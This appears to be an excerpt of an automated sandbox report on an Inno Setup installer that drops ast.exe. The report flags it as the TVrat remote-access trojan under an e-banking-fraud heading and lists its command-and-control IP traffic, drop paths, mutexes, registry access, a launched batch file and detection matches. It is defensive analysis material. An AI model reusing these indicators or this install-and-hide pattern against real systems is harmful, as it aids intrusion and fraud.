                          Source: oZ3vtWXObB.exeString found in binary or memory: https://jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupU
                          Source: xcopy.exe, 0000000A.00000003.1916463173.00000000026F8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1917115603.000000000270F000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1913521432.0000000002945000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1916642893.00000000026F8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1918204929.000000000297F000.00000004.00000020.00020000.00000000.sdmp, astclient.dll.10.drString found in binary or memory: https://sectigo.com/CPS0
                          Source: oZ3vtWXObB.tmp, 00000004.00000003.1898790130.0000000005DCC000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.2210276732.00000000026F9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1920028093.00000000026F9000.00000004.00000020.00020000.00000000.sdmp, is-V6G0T.tmp.4.drString found in binary or memory: https://sectigo.com/CPS0B
                          Source: oZ3vtWXObB.tmp, 00000004.00000003.1898790130.0000000005DCC000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1921257541.00000000026F9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.2210276732.00000000026F9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1920028093.00000000026F9000.00000004.00000020.00020000.00000000.sdmp, is-V6G0T.tmp.4.drString found in binary or memory: https://sectigo.com/CPS0C
                          Source: xcopy.exe, 0000000A.00000003.1921257541.00000000026F9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1916463173.00000000026F8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1917115603.000000000270F000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1913521432.0000000002945000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1916642893.00000000026F8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.1918204929.000000000297F000.00000004.00000020.00020000.00000000.sdmp, astclient.dll.10.drString found in binary or memory: https://sectigo.com/CPS0D
                          Source: ast.exe, 0000000B.00000003.2364006508.0000000005C02000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000B.00000003.2363633348.0000000005C34000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000B.00000003.2363714018.0000000005C32000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000B.00000003.2364006508.0000000005BDE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.globalsign.com/repository/0D
                          Source: oZ3vtWXObB.exe, 00000000.00000003.1452548810.0000000002660000.00000004.00001000.00020000.00000000.sdmp, oZ3vtWXObB.exe, 00000000.00000003.1452968553.000000007FB40000.00000004.00001000.00020000.00000000.sdmp, oZ3vtWXObB.tmp, 00000002.00000000.1454410842.0000000000401000.00000020.00000001.01000000.00000004.sdmp, xcopy.exe, 0000000A.00000003.2210610570.0000000002911000.00000004.00000020.00020000.00000000.sdmp, is-U37IG.tmp.4.drString found in binary or memory: https://www.innosetup.com/
                          Source: xcopy.exe, 0000000A.00000003.1918204929.000000000296C000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000B.00000002.2726140160.000000006C3B2000.00000002.00000001.01000000.00000013.sdmp, ast.exe, 0000000B.00000002.2725071368.000000006C310000.00000002.00000001.01000000.00000014.sdmpString found in binary or memory: https://www.openssl.org/H
                          Source: xcopy.exe, 0000000A.00000003.1918880338.000000000294B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.openssl.org/docs/faq.html
                          Source: oZ3vtWXObB.exe, 00000000.00000003.1452548810.0000000002660000.00000004.00001000.00020000.00000000.sdmp, oZ3vtWXObB.exe, 00000000.00000003.1452968553.000000007FB40000.00000004.00001000.00020000.00000000.sdmp, oZ3vtWXObB.tmp, 00000002.00000000.1454410842.0000000000401000.00000020.00000001.01000000.00000004.sdmp, xcopy.exe, 0000000A.00000003.2210610570.0000000002911000.00000004.00000020.00020000.00000000.sdmp, is-U37IG.tmp.4.drString found in binary or memory: https://www.remobjects.com/ps
                          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 51427
                          Source: unknownNetwork traffic detected: HTTP traffic on port 51442 -> 443
                          Source: unknownNetwork traffic detected: HTTP traffic on port 51379 -> 443
                          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 51385
                          Source: unknownNetwork traffic detected: HTTP traffic on port 51436 -> 443
                          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 51424
                          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 51421
                          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 51388
                          Source: unknownNetwork traffic detected: HTTP traffic on port 51451 -> 443
                          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 51394
                          Source: unknownNetwork traffic detected: HTTP traffic on port 51391 -> 443
                          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 51391
                          Source: unknownNetwork traffic detected: HTTP traffic on port 51388 -> 443
                          Source: unknownNetwork traffic detected: HTTP traffic on port 51445 -> 443
                          Source: unknownNetwork traffic detected: HTTP traffic on port 51439 -> 443
                          Source: unknownNetwork traffic detected: HTTP traffic on port 51382 -> 443
                          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 51439
                          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 51436
                          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 51397
                          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 51430
                          Source: unknownNetwork traffic detected: HTTP traffic on port 51418 -> 443
                          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 51433
                          Source: unknownNetwork traffic detected: HTTP traffic on port 51385 -> 443
                          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 51448
                          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 51442
                          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 51445
                          Source: unknownNetwork traffic detected: HTTP traffic on port 51430 -> 443
                          Source: unknownNetwork traffic detected: HTTP traffic on port 51370 -> 443
                          Source: unknownNetwork traffic detected: HTTP traffic on port 51424 -> 443
                          Source: unknownNetwork traffic detected: HTTP traffic on port 51433 -> 443
                          Source: unknownNetwork traffic detected: HTTP traffic on port 51376 -> 443
                          Source: unknownNetwork traffic detected: HTTP traffic on port 51472 -> 443
                          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 51451
                          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 51457
                          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 51454
                          Source: unknownNetwork traffic detected: HTTP traffic on port 51427 -> 443
                          Source: unknownNetwork traffic detected: HTTP traffic on port 51373 -> 443
                          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 51460
                          Source: unknownNetwork traffic detected: HTTP traffic on port 51475 -> 443
                          Source: unknownNetwork traffic detected: HTTP traffic on port 51490 -> 443
                          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 51505
                          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 51469
                          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 51508
                          Source: unknownNetwork traffic detected: HTTP traffic on port 51484 -> 443
                          Source: unknownNetwork traffic detected: HTTP traffic on port 51469 -> 443
                          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 51463
                          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 51466
                          Source: unknownNetwork traffic detected: HTTP traffic on port 51403 -> 443
                          Source: unknownNetwork traffic detected: HTTP traffic on port 51481 -> 443
                          Source: unknownNetwork traffic detected: HTTP traffic on port 51478 -> 443
                          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 51514
                          Source: unknownNetwork traffic detected: HTTP traffic on port 51466 -> 443
                          Source: unknownNetwork traffic detected: HTTP traffic on port 51487 -> 443
                          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 51517
                          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 51475
                          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 51472
                          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 51478
                          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 51511
                          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 51481
                          Source: unknownNetwork traffic detected: HTTP traffic on port 51517 -> 443
                          Source: unknownNetwork traffic detected: HTTP traffic on port 51421 -> 443
                          Source: unknownNetwork traffic detected: HTTP traffic on port 51415 -> 443
                          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 51406
                          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 51403
                          Source: unknownNetwork traffic detected: HTTP traffic on port 51463 -> 443
                          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 51409
                          Source: unknownNetwork traffic detected: HTTP traffic on port 51505 -> 443
                          Source: unknownNetwork traffic detected: HTTP traffic on port 51457 -> 443
                          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 51484
                          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 51487
                          Source: unknownNetwork traffic detected: HTTP traffic on port 51499 -> 443
                          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 51493
                          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 51490
                          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 51370
                          Source: unknownNetwork traffic detected: HTTP traffic on port 51409 -> 443
                          Source: unknownNetwork traffic detected: HTTP traffic on port 51460 -> 443
                          Source: unknownNetwork traffic detected: HTTP traffic on port 51514 -> 443
                          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 51415
                          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 51418
                          Source: unknownNetwork traffic detected: HTTP traffic on port 51493 -> 443
                          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 51496
                          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 51376
                          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 51373
                          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 51412
                          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 51379
                          Source: unknownNetwork traffic detected: HTTP traffic on port 51397 -> 443
                          Source: unknownNetwork traffic detected: HTTP traffic on port 51508 -> 443
                          Source: unknownNetwork traffic detected: HTTP traffic on port 51412 -> 443
                          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 51499
                          Source: unknownNetwork traffic detected: HTTP traffic on port 51511 -> 443
                          Source: unknownNetwork traffic detected: HTTP traffic on port 51454 -> 443
                          Source: unknownNetwork traffic detected: HTTP traffic on port 51394 -> 443
                          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 51382
                          Source: unknownNetwork traffic detected: HTTP traffic on port 51448 -> 443
                          Source: unknownNetwork traffic detected: HTTP traffic on port 51496 -> 443
                          Source: unknownNetwork traffic detected: HTTP traffic on port 51406 -> 443
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51370 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51373 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51376 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51379 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51382 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51385 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51388 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51391 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51394 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51397 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51403 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51406 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51409 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51412 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51415 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51418 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51421 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51424 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51427 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51430 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51433 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51436 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51439 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51442 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51445 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51448 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51451 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51454 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51457 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51460 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51463 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51466 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51469 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51472 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51475 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51478 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51481 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51484 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51487 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51490 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51493 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51496 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51499 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51505 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51508 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51511 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51514 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.8:51517 version: TLS 1.2
                          Source: Yara matchFile source: 11.0.ast.exe.400000.0.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: Process Memory Space: ast.exe PID: 6056, type: MEMORYSTR
                          Source: Yara matchFile source: C:\Users\user\AppData\Local\Temp\u3w5\is-HTIEL.tmp, type: DROPPED
                          Source: Yara matchFile source: C:\Users\user\AppData\Roaming\is\ast.exe, type: DROPPED

                          E-Banking Fraud

                          barindex
                          Yara detected TVrat
                          Source: Yara matchFile source: 11.0.ast.exe.400000.0.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 0000000B.00000000.2212062747.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, type: MEMORY
                          Source: Yara matchFile source: Process Memory Space: ast.exe PID: 6056, type: MEMORYSTR
                          Source: Yara matchFile source: C:\Users\user\AppData\Local\Temp\u3w5\is-HTIEL.tmp, type: DROPPED
                          Source: Yara matchFile source: C:\Users\user\AppData\Roaming\is\ast.exe, type: DROPPED
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeCode function: 11_2_6BD88010 CryptAcquireContextA,CryptImportKey,CryptReleaseContext,CryptEncrypt,CryptDestroyKey,CryptReleaseContext,11_2_6BD88010
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeCode function: 11_2_6BDAFEF011_2_6BDAFEF0
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeCode function: 11_2_6BDA6EF011_2_6BDA6EF0
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeCode function: 11_2_6BD82D2011_2_6BD82D20
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeCode function: 11_2_6BD8738011_2_6BD87380
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeCode function: 11_2_6BDC0A4011_2_6BDC0A40
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeCode function: 11_2_6BD93A1011_2_6BD93A10
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeCode function: 11_2_6BD8F95011_2_6BD8F950
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeCode function: 11_2_6BDA117011_2_6BDA1170
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeCode function: 11_2_6BDAA79011_2_6BDAA790
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeCode function: 11_2_6BDB6F4011_2_6BDB6F40
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeCode function: 11_2_6BD8773011_2_6BD87730
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeCode function: 11_2_6BD8EEA011_2_6BD8EEA0
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeCode function: 11_2_6BDB75D011_2_6BDB75D0
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeCode function: 11_2_6BDADCD011_2_6BDADCD0
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeCode function: 11_2_6BDDBCF011_2_6BDDBCF0
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeCode function: 13_2_61E218FA13_2_61E218FA
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeCode function: 13_2_61E4100E13_2_61E4100E
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeCode function: 13_2_61E2780813_2_61E27808
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeCode function: 13_2_61E15A8313_2_61E15A83
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeCode function: 13_2_61E4E29413_2_61E4E294
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeCode function: 13_2_61E38D3B13_2_61E38D3B
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeCode function: 13_2_61E4151E13_2_61E4151E
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeCode function: 13_2_61E23C3613_2_61E23C36
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeCode function: 13_2_61E3BF8513_2_61E3BF85
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeCode function: 13_2_61E1F6C513_2_61E1F6C5
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeCode function: 13_2_61E1CE5B13_2_61E1CE5B
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeCode function: String function: 6BDB06B0 appears 157 times
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeCode function: String function: 6BDB05D0 appears 176 times
                          Source: oZ3vtWXObB.exeStatic PE information: invalid certificate
                          Source: oZ3vtWXObB.tmp.0.drStatic PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
                          Source: oZ3vtWXObB.tmp.3.drStatic PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
                          Source: is-U37IG.tmp.4.drStatic PE information: Resource name: RT_RCDATA type: PE32+ executable (console) x86-64, for MS Windows
                          Source: oZ3vtWXObB.exe, 00000000.00000003.1463850132.00000000023C8000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenamekernel32j% vs oZ3vtWXObB.exe
                          Source: oZ3vtWXObB.exe, 00000000.00000003.1452968553.000000007FE34000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFileName vs oZ3vtWXObB.exe
                          Source: oZ3vtWXObB.exe, 00000000.00000003.1452548810.0000000002758000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFileName vs oZ3vtWXObB.exe
                          Source: oZ3vtWXObB.exe, 00000000.00000000.1450729655.00000000004C6000.00000002.00000001.01000000.00000003.sdmpBinary or memory string: OriginalFileName vs oZ3vtWXObB.exe
                          Source: oZ3vtWXObB.exe, 00000003.00000003.1913525321.0000000000A88000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenamekernel32j% vs oZ3vtWXObB.exe
                          Source: oZ3vtWXObB.exeBinary or memory string: OriginalFileName vs oZ3vtWXObB.exe
                          Source: oZ3vtWXObB.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
                          Source: classification engineClassification label: mal80.troj.evad.winEXE@16/62@1/2
                          Source: C:\Users\user\AppData\Local\Temp\is-GEEHR.tmp\oZ3vtWXObB.tmpFile created: C:\Users\user\AppData\Local\ProgramsJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeMutant created: \Sessions\1\BaseNamedObjects\NULL
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeMutant created: \Sessions\1\BaseNamedObjects\3 @
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeMutant created: \Sessions\1\BaseNamedObjects\Global\02CC837A-11F4-4C58-AE40-A04E18FF470Dh4
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeMutant created: \Sessions\1\BaseNamedObjects\U SVW3 E E E
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeMutant created: \Sessions\1\BaseNamedObjects\Global\npr01lnkwrN4703370C-2C9E-46A6-885D-4EF9E096E730
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeMutant created: \Sessions\1\BaseNamedObjects\Global\npr01lnkslN4703370C-2C9E-46A6-885D-4EF9E096E730
                          Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6756:120:WilError_03
                          Source: C:\Users\user\Desktop\oZ3vtWXObB.exeFile created: C:\Users\user\AppData\Local\Temp\is-GEEHR.tmpJump to behavior
                          Source: Yara matchFile source: 11.0.ast.exe.400000.0.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 0000000B.00000000.2212062747.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, type: MEMORY
                          Source: Yara matchFile source: C:\Users\user\AppData\Local\Temp\u3w5\is-HTIEL.tmp, type: DROPPED
                          Source: Yara matchFile source: C:\Users\user\AppData\Roaming\is\ast.exe, type: DROPPED
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /C ""C:\Users\user\AppData\Local\Temp\u3w5\rbxsdlx.bat""
                          Source: C:\Users\user\Desktop\oZ3vtWXObB.exeKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\LocalesJump to behavior
                          Source: C:\Users\user\Desktop\oZ3vtWXObB.exeKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\LocalesJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-GEEHR.tmp\oZ3vtWXObB.tmpKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\LocalesJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-GEEHR.tmp\oZ3vtWXObB.tmpKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\LocalesJump to behavior
                          Source: C:\Users\user\Desktop\oZ3vtWXObB.exeKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\LocalesJump to behavior
                          Source: C:\Users\user\Desktop\oZ3vtWXObB.exeKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\LocalesJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\LocalesJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-30F0I.tmp\oZ3vtWXObB.tmpKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\LocalesJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\LocalesJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\LocalesJump to behavior
                          Source: C:\Users\user\AppData\Roaming\is\ast.exeKey opened: HKEY_CURRENT_USER\Software\Borland\Delphi\LocalesJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-GEEHR.tmp\oZ3vtWXObB.tmpFile read: C:\Users\user\Desktop\desktop.iniJump to behavior
                          Source: C:\Users\user\Desktop\oZ3vtWXObB.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
                          Source: C:\Users\user\AppData\Local\Temp\is-GEEHR.tmp\oZ3vtWXObB.tmpKey value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOrganizationJump to behavior
                          Source: oZ3vtWXObB.tmp, 00000004.00000003.1898790130.0000000005DCC000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.2210198268.00000000026F9000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000D.00000002.2327594426.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmpBinary or memory string: SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';
                          Source: oZ3vtWXObB.tmp, 00000004.00000003.1898790130.0000000005DCC000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.2210198268.00000000026F9000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000D.00000002.2327594426.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmpBinary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
                          Source: oZ3vtWXObB.tmp, 00000004.00000003.1898790130.0000000005DCC000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.2210198268.00000000026F9000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000D.00000002.2327594426.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmpBinary or memory string: SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND coalesce(rootpage,1)>0
                          Source: oZ3vtWXObB.tmp, 00000004.00000003.1898790130.0000000005DCC000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.2210198268.00000000026F9000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000D.00000002.2327594426.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmpBinary or memory string: CREATE TABLE "%w"."%w_node"(nodeno INTEGER PRIMARY KEY, data BLOB);CREATE TABLE "%w"."%w_rowid"(rowid INTEGER PRIMARY KEY, nodeno INTEGER);CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY, parentnode INTEGER);INSERT INTO '%q'.'%q_node' VALUES(1, zeroblob(%d))
                          Source: oZ3vtWXObB.tmp, 00000004.00000003.1898790130.0000000005DCC000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.2210198268.00000000026F9000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000D.00000002.2327594426.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmpBinary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
                          Source: oZ3vtWXObB.tmp, 00000004.00000003.1898790130.0000000005DCC000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 0000000A.00000003.2210198268.00000000026F9000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000D.00000002.2327594426.0000000061E8B000.00000002.00000001.01000000.0000000D.sdmpBinary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
